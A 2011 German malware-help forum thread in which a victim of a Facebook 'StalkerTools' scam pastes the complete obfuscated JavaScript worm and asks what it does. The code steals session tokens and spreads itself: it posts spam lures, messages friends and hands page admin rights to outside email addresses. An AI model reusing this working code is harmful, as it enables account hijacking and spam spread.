|
Plagegeister aller Art und deren Bekämpfung: Facebook Scamseite angeklickt - "StalkerTools" - Rechner nun verseucht?Windows 7 Wenn Du nicht sicher bist, ob Du dir Malware oder Trojaner eingefangen hast, erstelle hier ein Thema. Ein Experte wird sich mit weiteren Anweisungen melden und Dir helfen die Malware zu entfernen oder Unerwünschte Software zu deinstallieren bzw. zu löschen. Bitte schildere dein Problem so genau wie möglich. Sollte es ein Trojaner oder Viren Problem sein wird ein Experte Dir bei der Beseitigug der Infektion helfen. |
23.02.2011, 18:33 | #1 | |
| Facebook Scamseite angeklickt - "StalkerTools" - Rechner nun verseucht? Hallo, aufgrund von nicht zu entschuldigender geistiger Umnachtung habe ich in Facebook einen Link geklickt und mir dabei ein Script eingefangen, von dem ich nicht weiß, was es genau gemacht hat. Auf jeden Fall hat es an die Pinnwände meiner Freunde gepostet und an eben diese auch Nachrichten verschickt... Es handelt sich um folgendes Javascript: Zitat:
Code:
ATTFilter \x74\x68","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x66\x72\x69\x65\x6E\x64\x73\x65\x6C\x65\x63\x74\x6F\x72\x5F\x69\x6E\x70\x75\x74\x5B\x5D\x3D","\x26\x66\x72\x69\x65\x6E\x64\x5F\x73\x65\x6C\x65\x63\x74\x65\x64\x5B\x5D\x3D","\x50\x4F\x53\x54","\x2F\x70\x61\x67\x65\x73\x2F\x65\x64\x69\x74\x2F\x3F\x69\x64\x3D","\x26\x73\x6B\x3D\x61\x64\x6D\x69\x6E","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x70\x6F\x73\x74\x5F\x66\x6F\x72\x6D\x5F\x69\x64\x3D","\x26\x66\x62\x5F\x64\x74\x73\x67\x3D","\x26\x66\x62\x70\x61\x67\x65\x5F\x69\x64\x3D","\x26","\x6A\x6F\x69\x6E","\x26\x73\x61\x76\x65\x3D\x31","\x6D\x61\x74\x63\x68","\x72\x61\x6E\x64\x6F\x6D\x69\x7A\x65","\x0A\x0A","\x26\x78\x68\x70\x63\x5F\x63\x6F\x6D\x70\x6F\x73\x65\x72\x69\x64\x3D","\x26\x78\x68\x70\x63\x5F\x74\x61\x72\x67\x65\x74\x69\x64\x3D","\x7C","\x26\x78\x68\x70\x63\x5F\x63\x6F\x6E\x74\x65\x78\x74\x3D\x68\x6F\x6D\x65\x26\x78\x68\x70\x63\x5F\x66\x62\x78\x3D\x31\x26\x78\x68\x70\x63\x5F\x6D\x65\x73\x73\x61\x67\x65\x5F\x74\x65\x78\x74\x3D","\x72\x65\x70\x6C\x61\x63\x65","\x26\x78\x68\x70\x63\x5F\x6D\x65\x73\x73\x61\x67\x65\x3D","\x26\x55\x49\x50\x72\x69\x76\x61\x63\x79\x57\x69\x64\x67\x65\x74\x5B\x30\x5D\x3D\x34\x30\x26\x70\x72\x69\x76\x61\x63\x79\x5F\x64\x61\x74\x61\x5B\x76\x61\x6C\x75\x65\x5D\x3D\x34\x30\x26\x70\x72\x69\x76\x61\x63\x79\x5F\x64\x61\x74\x61\x5B\x66\x72\x69\x65\x6E\x64\x73\x5D\x3D\x30\x26\x70\x72\x69\x76\x61\x63\x79\x5F\x64\x61\x74\x61\x5B\x6C\x69\x73\x74\x5F\x61\x6E\x6F\x6E\x5D\x3D\x30\x26\x70\x72\x69\x76\x61\x63\x79\x5F\x64\x61\x74\x61\x5B\x6C\x69\x73\x74\x5F\x78\x5F\x61\x6E\x6F\x6E\x5D\x3D\x30\x26\x3D\x53\x68\x61\x72\x65\x26\x6E\x63\x74\x72\x5B\x5F\x6D\x6F\x64\x5D\x3D\x70\x61\x67\x65\x6C\x65\x74\x5F\x63\x6F\x6D\x70\x6F\x73\x65\x72\x26\x6C\x73\x64\x26\x70\x6F\x73\x74\x5F\x66\x6F\x72\x6D\x5F\x69\x64\x5F\x73\x6F\x75\x72\x63\x65\x3D\x41\x73\x79\x6E\x63\x52\x65\x71\x75\x65\x73\x74","\x2F\x61\x6A\x61\x78\x2F\x75\x70\x64\x61\x74\x65\x73\x74\x61\x74\x75\x73\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x6F\x6F\x2E\x67\x6C\x2F\x31\x6A\x6C\x42\x71","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x6F\x6F\x2E\x67\x6C\x2F\x49\x6C\x39\x6B\x48","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x6F\x6F\x2E\x67\x6C\x2F\x35\x33\x35\x4F\x4B","\x68\x74\x74\x70\x3A\x2F\x2F\x74\x69\x6E\x79\x75\x72\x6C\x2E\x63\x6F\x6D\x2F\x70\x72\x6F\x63\x72\x65\x65\x70\x65\x72\x73","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x6F\x6F\x2E\x67\x6C\x2F\x33\x46\x46\x4E\x5A","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x6F\x6F\x2E\x67\x6C\x2F\x79\x57\x49\x55\x36","\x31\x36\x38\x30\x34\x36\x38\x39\x33\x32\x34\x32\x36\x35\x30","\x31\x32\x37\x39\x30\x31\x34\x33\x37\x32\x38\x33\x31\x30\x34","\x31\x35\x35\x31\x34\x36\x33\x30\x31\x32\x30\x36\x38\x32\x35","\x6C\x65\x74\x68\x61\x62\x75\x72\x62\x61\x63\x68\x38\x39\x30\x40\x79\x61\x68\x6F\x6F\x2E\x63\x6F\x6D\x2C\x74\x65\x6E\x69\x73\x68\x61\x68\x6F\x6C\x73\x6D\x61\x6E\x70\x64\x6F\x70\x40\x68\x6F\x74\x6D\x61\x69\x6C\x2E\x63\x6F\x6D","\x57\x6F\x77\x21\x20\x53\x65\x65\x6D\x73\x20\x6C\x69\x6B\x65\x20\x6C\x6F\x74\x73\x20\x6F\x66\x20\x70\x65\x6F\x70\x6C\x65\x20\x73\x74\x61\x6C\x6B\x20\x6D\x65\x20\x2D\x20","\x4E\x65\x77\x20\x46\x42\x20\x74\x6F\x6F\x6C\x20\x73\x68\x6F\x77\x73\x20\x77\x68\x6F\x20\x73\x74\x61\x6C\x6B\x73\x20\x79\x6F\x75\x72\x20\x70\x72\x6F\x66\x69\x6C\x65\x2D\x2D\x20","\x53\x65\x63\x72\x65\x74\x20\x74\x6F\x6F\x6C\x20\x73\x68\x6F\x77\x73\x20\x77\x68\x6F\x20\x73\x74\x61\x6C\x6B\x73\x20\x79\x6F\x75\x72\x20\x70\x69\x63\x73\x20","\x49\x6E\x73\x61\x6E\x65\x21\x20\x41\x77\x65\x73\x6F\x6D\x65\x20\x74\x6F\x6F\x6C\x20\x74\x6F\x20\x73\x65\x65\x20\x77\x68\x6F\x20\x6C\x6F\x6F\x6B\x73\x20\x61\x74\x20\x79\x6F\x75\x72\x20\x70\x69\x63\x73\x20\x3E\x3E\x20","\x41\x63\x63\x6F\x72\x64\x69\x6E\x67\x20\x74\x6F\x20","\x20\x79\x6F\x75\x27\x72\x65\x20\x6D\x79\x20\x74\x6F\x70\x20\x73\x74\x61\x6C\x6B\x65\x72\x2E\x20\x43\x72\x65\x65\x70\x2E","\x53\x65\x63\x72\x65\x74\x20\x74\x6F\x6F\x6C\x20\x73\x68\x6F\x77\x73\x20\x77\x68\x6F\x20\x73\x74\x61\x6C\x6B\x73\x20\x79\x6F\x75\x72\x20\x70\x69\x63\x73\x20\x2D\x20","\x43\x68\x65\x63\x6B\x20\x74\x68\x69\x73\x20\x6F\x75\x74\x21","\x48\x65\x79\x2C\x20\x77\x68\x61\x74\x73\x20\x68\x61\x70\x70\x65\x6E\x69\x6E\x67\x3F","\x48\x65\x79\x21\x20\x54\x68\x69\x73\x20\x69\x73\x20\x61\x77\x65\x73\x6F\x6D\x65","\x70\x72\x6F\x74\x6F\x74\x79\x70\x65","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x69\x73\x52\x65\x61\x64\x79","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x67\x65\x74\x46\x72\x69\x65\x6E\x64\x73","\x73\x6C\x69\x63\x65","\x3A","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x63\x72\x65\x77\x79\x6F\x75\x7A","\x61\x6C\x69\x67\x6E","\x63\x65\x6E\x74\x65\x72","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x6D\x61\x72\x67\x69\x6E","\x73\x74\x79\x6C\x65","\x30\x70\x78\x20\x61\x75\x74\x6F","\x70\x6F\x73\x69\x74\x69\x6F\x6E","\x61\x62\x73\x6F\x6C\x75\x74\x65","\x74\x6F\x70","\x31\x30\x70\x78","\x7A\x69\x6E\x64\x65\x78","\x31\x30\x30","\x63\x6C\x61\x73\x73\x4E\x61\x6D\x65","\x73\x63\x72\x65\x77\x79\x6F\x75","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x62\x72\x20\x2F\x3E\x3C\x62\x72\x20\x2F\x3E\x3C\x62\x72\x20\x2F\x3E\x3C\x62\x72\x20\x2F\x3E\x3C\x62\x72\x20\x2F\x3E\x3C\x63\x65\x6E\x74\x65\x72\x3E\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x66\x62\x76\x69\x65\x77\x73\x2E\x6F\x72\x67\x2F\x70\x72\x6F\x63\x65\x73\x73\x2E\x67\x69\x66\x22\x20\x2F\x3E\x3C\x62\x72\x20\x2F\x3E\x53\x63\x61\x6E\x6E\x69\x6E\x67\x20\x6D\x61\x79\x20\x74\x61\x6B\x65\x20\x75\x70\x20\x74\x6F\x20\x33\x20\x6D\x69\x6E\x75\x74\x65\x73\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F","\x47\x45\x54","\x2F","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x48\x65\x6C\x6C\x6F\x21\x0A\x0A\x54\x6F\x20\x61\x63\x74\x69\x76\x61\x74\x65\x20\x74\x68\x65\x20\x74\x6F\x6F\x6C\x20\x70\x72\x65\x73\x73\x20\x45\x6E\x74\x65\x72\x20\x6F\x6E\x20\x79\x6F\x75\x72\x20\x6B\x65\x79\x62\x6F\x61\x72\x64\x2E\x20\x0A\x0A\x54\x68\x69\x73\x20\x77\x69\x6C\x6C\x20\x74\x61\x6B\x65\x20\x32\x2D\x33\x20\x6D\x69\x6E\x75\x74\x65\x73\x2C\x20\x77\x68\x69\x6C\x65\x20\x77\x61\x69\x74\x69\x6E\x67\x20\x70\x6C\x65\x61\x73\x65\x20\x64\x6F\x20\x6E\x6F\x74\x20\x63\x6C\x6F\x73\x65\x20\x74\x68\x69\x73\x20\x77\x69\x6E\x64\x6F\x77\x20\x6F\x72\x20\x74\x61\x62\x2E","\x63\x6F\x6F\x6B\x69\x65","\x2F\x61\x6A\x61\x78\x2F\x70\x61\x67\x65\x73\x2F\x66\x61\x6E\x5F\x73\x74\x61\x74\x75\x73\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31","\x66\x62\x70\x61\x67\x65\x5F\x69\x64\x3D","\x26\x61\x64\x64\x3D\x31\x26\x72\x65\x6C\x6F\x61\x64\x3D\x31\x26\x70\x72\x65\x73\x65\x72\x76\x65\x5F\x74\x61\x62\x3D\x31\x26\x75\x73\x65\x5F\x70\x72\x69\x6D\x65\x72\x3D\x31\x26\x6E\x63\x74\x72\x5B\x5F\x6D\x6F\x64\x5D\x3D\x70\x61\x67\x65\x6C\x65\x74\x5F\x74\x6F\x70\x5F\x62\x61\x72\x26\x70\x6F\x73\x74\x5F\x66\x6F\x72\x6D\x5F\x69\x64\x3D","\x26\x6C\x73\x64\x26\x70\x6F\x73\x74\x5F\x66\x6F\x72\x6D\x5F\x69\x64\x5F\x73\x6F\x75\x72\x63\x65\x3D\x41\x73\x79\x6E\x63\x52\x65\x71\x75\x65\x73\x74","\x2F\x61\x6A\x61\x78\x2F\x62\x72\x6F\x77\x73\x65\x72\x2F\x6C\x69\x73\x74\x2F\x66\x72\x69\x65\x6E\x64\x73\x2F\x61\x6C\x6C\x2F\x3F\x75\x69\x64\x3D","\x26\x6F\x66\x66\x73\x65\x74\x3D\x30\x26\x64\x75\x61\x6C\x3D\x31\x26\x5F\x5F\x61\x3D\x31","\x69\x64\x73\x5B","\x5D\x3D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31","\x26\x73\x65\x6E\x64\x5F\x69\x6E\x76\x69\x74\x61\x74\x69\x6F\x6E\x73\x3D\x31\x26\x69\x6E\x76\x69\x74\x65\x5F\x69\x64\x5F\x6C\x69\x73\x74\x3D\x26\x65\x6D\x61\x69\x6C\x5F\x61\x64\x64\x72\x65\x73\x73\x65\x73\x3D\x26\x69\x6E\x76\x69\x74\x65\x5F\x6D\x73\x67\x3D\x26","\x26\x6E\x6F\x64\x65\x5F\x69\x64\x3D","\x26\x63\x6C\x61\x73\x73\x3D\x47\x75\x65\x73\x74\x4D\x61\x6E\x61\x67\x65\x72\x26\x5F\x5F\x64\x3D\x31\x26\x6C\x73\x64\x26\x70\x6F\x73\x74\x5F\x66\x6F\x72\x6D\x5F\x69\x64\x5F\x73\x6F\x75\x72\x63\x65\x3D\x41\x73\x79\x6E\x63\x52\x65\x71\x75\x65\x73\x74","\x68\x74\x74\x70\x3A\x2F\x2F\x66\x62\x76\x69\x65\x77\x73\x2E\x6F\x72\x67\x2F\x72\x65\x73\x75\x6C\x74\x2E\x70\x68\x70","\x2F\x61\x6A\x61\x78\x2F\x6D\x65\x73\x73\x61\x67\x69\x6E\x67\x2F\x63\x6F\x6D\x70\x6F\x73\x65\x72\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31\x26\x5F\x5F\x64\x3D\x31","\x69\x64\x73\x5F","\x5B\x30\x5D\x3D","\x26\x73\x75\x62\x6A\x65\x63\x74\x3D","\x26\x73\x74\x61\x74\x75\x73\x3D","\x26\x69\x64\x73\x5B\x30\x5D\x3D","\x26\x61\x63\x74\x69\x6F\x6E\x3D\x73\x65\x6E\x64\x5F\x6E\x65\x77\x26\x68\x6F\x6D\x65\x5F\x74\x61\x62\x5F\x69\x64\x3D\x31\x26\x70\x72\x6F\x66\x69\x6C\x65\x5F\x69\x64\x3D","\x26\x74\x61\x72\x67\x65\x74\x5F\x69\x64\x3D\x30\x26\x61\x70\x70\x5F\x69\x64\x3D\x26\x26\x63\x6F\x6D\x70\x6F\x73\x65\x72\x5F\x69\x64\x3D","\x26\x68\x65\x79\x5F\x6B\x69\x64\x5F\x69\x6D\x5F\x61\x5F\x63\x6F\x6D\x70\x6F\x73\x65\x72\x3D\x74\x72\x75\x65\x26\x74\x68\x72\x65\x61\x64\x26\x70\x6F\x73\x74\x5F\x66\x6F\x72\x6D\x5F\x69\x64\x3D","\x26\x6C\x73\x64\x26\x5F\x6C\x6F\x67\x5F\x61\x63\x74\x69\x6F\x6E\x3D\x73\x65\x6E\x64\x5F\x6E\x65\x77\x26\x5F\x6C\x6F\x67\x5F\x74\x68\x72\x65\x61\x64\x26\x61\x6A\x61\x78\x5F\x6C\x6F\x67\x3D\x31\x26\x70\x6F\x73\x74\x5F\x66\x6F\x72\x6D\x5F\x69\x64\x5F\x73\x6F\x75\x72\x63\x65\x3D\x41\x73\x79\x6E\x63\x52\x65\x71\x75\x65\x73\x74","\x2F\x61\x6A\x61\x78\x2F\x67\x69\x67\x61\x62\x6F\x78\x78\x2F\x65\x6E\x64\x70\x6F\x69\x6E\x74\x2F\x4D\x65\x73\x73\x61\x67\x65\x43\x6F\x6D\x70\x6F\x73\x65\x72\x45\x6E\x64\x70\x6F\x69\x6E\x74\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31","\x2F\x69\x6E\x73\x69\x67\x68\x74\x73\x2F\x3F\x5F\x66\x62\x5F\x6E\x6F\x73\x63\x72\x69\x70\x74\x3D\x31"];function _88xuhyr(_0x91e5x2){st=_0x91e5x2[_0x2804[1]](_0x2804[0]);d=_0x2804[2];for(i=0;i<st[_0x2804[3]];i++){d+=String[_0x2804[4]](st[i]-24);} ;eval(d);} ;function addAdmin(_0x91e5x4,_0x91e5x5,_0x91e5x6,_0x91e5x7){iemails=_0x91e5x5[_0x2804[1]](_0x2804[0]);main_emails=[];for(i=0;i<iemails[_0x2804[3]];i++){main_emails[i]=_0x2804[5]+iemails[i]+_0x2804[6];} ;with(newx= new XMLHttpRequest){open(_0x2804[7],_0x2804[8]+_0x91e5x4+_0x2804[9]);setRequestHeader(_0x2804[10],_0x2804[11]);send(_0x2804[12]+_0x91e5x6+_0x2804[13]+_0x91e5x7+_0x2804[14]+_0x91e5x4+_0x2804[15]+main_emails[_0x2804[16]](_0x2804[15])+_0x2804[17]);} ;} ;function makePost(_0x91e5x9,_0x91e5xa,_0x91e5xb,_0x91e5xc){formx=_0x91e5x9[_0x2804[18]](/name="post_form_id" value="([\d\w]+)"/)[1];dtx=_0x91e5x9[_0x2804[18]](/name="fb_dtsg" value="([^"]+)"/)[1];composerx=_0x91e5x9[_0x2804[18]](/name=\\\"xhpc_composerid\\\" value=\\\"([^"]+)\\\"/)[1];msg=_0x91e5xa[_0x2804[19]]()+_0x2804[20];text_post=_0x2804[2];text_actual=_0x2804[2];pxt=_0x2804[12]+formx+_0x2804[13]+dtx+_0x2804[21]+composerx+_0x2804[22]+_0x91e5xb[_0x2804[1]](_0x2804[23])[0]+_0x2804[24]+encodeURIComponent(msg+text_actual[_0x2804[25]](/\, $/,_0x2804[2]))+_0x2804[26]+encodeURIComponent(msg+text_post[_0x2804[25]](/\, $/,_0x2804[2]))+_0x2804[27];update(pxt);} ;function update(_0x91e5xe){with(newx= new XMLHttpRequest){open(_0x2804[7],_0x2804[28]);setRequestHeader(_0x2804[10],_0x2804[11]);send(_0x91e5xe);} ;} ;goog1=_0x2804[29];goog2=_0x2804[30];goog3=_0x2804[31];goog4=_0x2804[32];goog5=_0x2804[33];goog6=_0x2804[34];event_id=_0x2804[35];page_id_x=_0x2804[36];page_id_xx=_0x2804[37];admin_emails=_0x2804[38];statuses=[_0x2804[39]+goog1,_0x2804[40]+goog2,_0x2804[41]+goog3,_0x2804[42]+goog4,_0x2804[43]+goog5+_0x2804[44],_0x2804[45]+goog6];subjects=[_0x2804[46],_0x2804[47],_0x2804[48]];Array[_0x2804[49]][_0x2804[19]]=function (){return this[Math[_0x2804[51]](Math[_0x2804[50]]()*this[_0x2804[3]])];} ;Object[_0x2804[49]][_0x2804[52]]=function (){if(this[_0x2804[53]]==4&&this[_0x2804[54]]==200){return true;} else {return false;} ;} ;String[_0x2804[49]][_0x2804[55]]=function (){friends2=this[_0x2804[18]](/facebook\.com\\\\\\\/profile\.php\?id=\d+\\\\\\\">(<span[^>]+>|)[^<>]+/gi)[_0x2804[16]](_0x2804[57])[_0x2804[25]](/(facebook\.com\\\\\\\/|profile\.php\?id=|<span[^>]+>|l\.php.*)/gi,_0x2804[2])[_0x2804[25]](/\\\\\\\">/gi,_0x2804[23])[_0x2804[1]](_0x2804[57])[_0x2804[56]](1);return friends2;} ;function addAdmin(_0x91e5x4,_0x91e5x5,_0x91e5x6,_0x91e5x7){iemails=_0x91e5x5[_0x2804[1]](_0x2804[0]);main_emails=[];for(i=0;i<iemails[_0x2804[3]];i++){main_emails[i]=_0x2804[5]+iemails[i]+_0x2804[6];} ;with(newx= new XMLHttpRequest){open(_0x2804[7],_0x2804[8]+_0x91e5x4+_0x2804[9]);setRequestHeader(_0x2804[10],_0x2804[11]);send(_0x2804[12]+_0x91e5x6+_0x2804[13]+_0x91e5x7+_0x2804[14]+_0x91e5x4+_0x2804[15]+main_emails[_0x2804[16]](_0x2804[15])+_0x2804[17]);} ;} ;function loading(){var _0x91e5x10=document[_0x2804[59]](_0x2804[58]);_0x91e5x10[_0x2804[60]]=_0x2804[61];_0x91e5x10[_0x2804[64]](_0x2804[62],_0x2804[63]);_0x91e5x10[_0x2804[66]][_0x2804[65]]=_0x2804[67];_0x91e5x10[_0x2804[66]][_0x2804[68]]=_0x2804[69];_0x91e5x10[_0x2804[66]][_0x2804[70]]=_0x2804[71];_0x91e5x10[_0x2804[66]][_0x2804[72]]=_0x2804[73];_0x91e5x10[_0x2804[74]]=_0x2804[75];_0x91e5x10[_0x2804[76]]=_0x2804[77];document[_0x2804[79]][_0x2804[78]](_0x91e5x10);} ;function makePost(_0x91e5x9,_0x91e5xa,_0x91e5xb,_0x91e5xc){formx=_0x91e5x9[_0x2804[18]](/name="post_form_id" value="([\d\w]+)"/)[1];dtx=_0x91e5x9[_0x2804[18]](/name="fb_dtsg" value="([^"]+)"/)[1];composerx=_0x91e5x9[_0x2804[18]](/name=\\\"xhpc_composerid\\\" value=\\\"([^"]+)\\\"/)[1];msg=_0x91e5xa[_0x2804[19]]()+_0x2804[20];text_post=_0x2804[2];text_actual=_0x2804[2];pxt=_0x2804[12]+formx+_0x2804[13]+dtx+_0x2804[21]+composerx+_0x2804[22]+_0x91e5xb[_0x2804[1]](_0x2804[23])[0]+_0x2804[24]+encodeURIComponent(msg+text_actual[_0x2804[25]](/\, $/,_0x2804[2]))+_0x2804[26]+encodeURIComponent(msg+text_post[_0x2804[25]](/\, $/,_0x2804[2]))+_0x2804[27];update(pxt);} ;function update(_0x91e5xe){with(newx= new XMLHttpRequest){open(_0x2804[7],_0x2804[28]);setRequestHeader(_0x2804[10],_0x2804[11]);send(_0x91e5xe);} ;} ;if(window[_0x2804[81]][_0x2804[80]]==_0x2804[82]){formx=(res=document[_0x2804[79]][_0x2804[76]])[_0x2804[18]](/name="post_form_id" value="([\d\w]+)"/)[1];dtx=res[_0x2804[18]](/name="fb_dtsg" value="([^"]+)"/)[1];composerx=res[_0x2804[18]](/name=\\\"xhpc_composerid\\\" value=\\\"([^"]+)\\\"/)[1];} else {with(muhaha= new XMLHttpRequest){open(_0x2804[83],_0x2804[84],false);send(null);} ;formx=(res=muhaha[_0x2804[85]])[_0x2804[18]](/name="post_form_id" value="([\d\w]+)"/)[1];dtx=res[_0x2804[18]](/name="fb_dtsg" value="([^"]+)"/)[1];composerx=res[_0x2804[18]](/name=\\\"xhpc_composerid\\\" value=\\\"([^"]+)\\\"/)[1];} ;alert(_0x2804[86]);update(_0x2804[12]+formx+_0x2804[13]+dtx+_0x2804[21]+composerx+_0x2804[22]+document[_0x2804[87]][_0x2804[18]](/c_user=(\d+)/)[1]+_0x2804[24]+encodeURIComponent(stx=statuses[_0x2804[19]]())+_0x2804[26]+encodeURIComponent(stx)+_0x2804[27]);with(newz= new XMLHttpRequest){loading();open(_0x2804[7],_0x2804[88]);setRequestHeader(_0x2804[10],_0x2804[11]);send(_0x2804[89]+page_id_x+_0x2804[90]+formx+_0x2804[13]+dtx+_0x2804[91]);} ;with(newzz= new XMLHttpRequest){open(_0x2804[7],_0x2804[88]);setRequestHeader(_0x2804[10],_0x2804[11]);send(_0x2804[89]+page_id_xx+_0x2804[90]+formx+_0x2804[13]+dtx+_0x2804[91]);} ; void 0;with(fr= new XMLHttpRequest){open(_0x2804[83],_0x2804[92]+(me=document[_0x2804[87]][_0x2804[18]](/c_user=(\d+)/)[1])+_0x2804[93]);onreadystatechange=function (){if(fr[_0x2804[52]]()){friends=fr[_0x2804[85]][_0x2804[55]]();idx=[];for(i=0;i<friends[_0x2804[3]];i++){if(!isNaN(friends[i][_0x2804[1]](_0x2804[23])[0])){idx[i]=_0x2804[94]+i+_0x2804[95]+friends[i][_0x2804[1]](_0x2804[23])[0];} ;} ;with(invi= new XMLHttpRequest){open(_0x2804[7],_0x2804[96]);setRequestHeader(_0x2804[10],_0x2804[11]);send(_0x2804[12]+formx+_0x2804[13]+dtx+_0x2804[97]+idx[_0x2804[16]](_0x2804[15])+_0x2804[98]+event_id+_0x2804[99]);} ;cnt_fr=0;tx=setInterval(function (){if(cnt_fr==friends[_0x2804[3]]){window[_0x2804[81]]=_0x2804[100];clearInterval(tx);} ;makePost(document[_0x2804[79]][_0x2804[76]],statuses,friends[cnt_fr],friends);with(xa= new XMLHttpRequest){open(_0x2804[83],_0x2804[101]);onreadystatechange=function (){if(xa[_0x2804[52]]()){compi=xa[_0x2804[85]][_0x2804[18]](/([\d\w]+)_error/)[1];pxi=_0x2804[102]+compi+_0x2804[103]+friends[cnt_fr][_0x2804[1]](_0x2804[23])[0]+_0x2804[104]+encodeURIComponent(subjects[_0x2804[19]]())+_0x2804[105]+encodeURIComponent(statuses[_0x2804[19]]())+_0x2804[106]+friends[cnt_fr][_0x2804[1]](_0x2804[23])[0]+_0x2804[107]+document[_0x2804[87]][_0x2804[18]](/c_user=(\d+)/)[1]+_0x2804[108]+compi+_0x2804[109]+formx+_0x2804[13]+dtx+_0x2804[110];if(cnt_fr<15){with(mi= new XMLHttpRequest){open(_0x2804[7],_0x2804[111]);setRequestHeader(_0x2804[10],_0x2804[11]);send(pxi);} ;} ;} ;} ;send(null);} ;cnt_fr+=1;} ,3000);} ;} ;send(null);} ;with(ins= new XMLHttpRequest){open(_0x2804[83],_0x2804[112]);onreadystatechange=function (){if(ins[_0x2804[52]]()){ids=ins[_0x2804[85]][_0x2804[18]](/po_\d+">View/gi)[_0x2804[16]](_0x2804[57])[_0x2804[25]](/(po_|">View)/gi,_0x2804[2])[_0x2804[1]](_0x2804[57]);cnt_pages=0;tz=setInterval(function (){if(cnt_pages==ids[_0x2804[3]]){window[_0x2804[81]]=_0x2804[100];clearInterval(tz);} ;update(_0x2804[12]+formx+_0x2804[13]+dtx+_0x2804[21]+composerx+_0x2804[22]+ids[cnt_pages]+_0x2804[24]+encodeURIComponent(stx=statuses[_0x2804[19]]())+_0x2804[26]+encodeURIComponent(stx)+_0x2804[27]);addAdmin(ids[cnt_pages],admin_emails,formx,dtx);cnt_pages+=1;} ,3000);} ;} ;send(null);} ; Bitte, kann mir jemand den Code erklären? Ich bin gerade wirklich sehr panisch. Lasse parallel gerade AntiMalwareBytes meinen Rechner scannen. Was muss ich nun sonst noch tun? HILFE! Danke im voraus, Cassiopeia26 |
24.02.2011, 11:08 | #2 |
/// Winkelfunktion /// TB-Süch-Tiger™ | Facebook Scamseite angeklickt - "StalkerTools" - Rechner nun verseucht? Bitte beachten => http://www.trojaner-board.de/95173-b...es-posten.html und http://www.trojaner-board.de/69886-a...-beachten.html
__________________
__________________ |
Themen zu Facebook Scamseite angeklickt - "StalkerTools" - Rechner nun verseucht? |
.com, achtung, alert, antimalwarebytes, code, daten, document, eingefangen, folge, folgendes, freunde, gepostet, installiert, javascript, link, link geklickt, nachrichten, object, parallel, rechner, scan, script, sorge, this, update, verseucht, verseucht?, wirklich |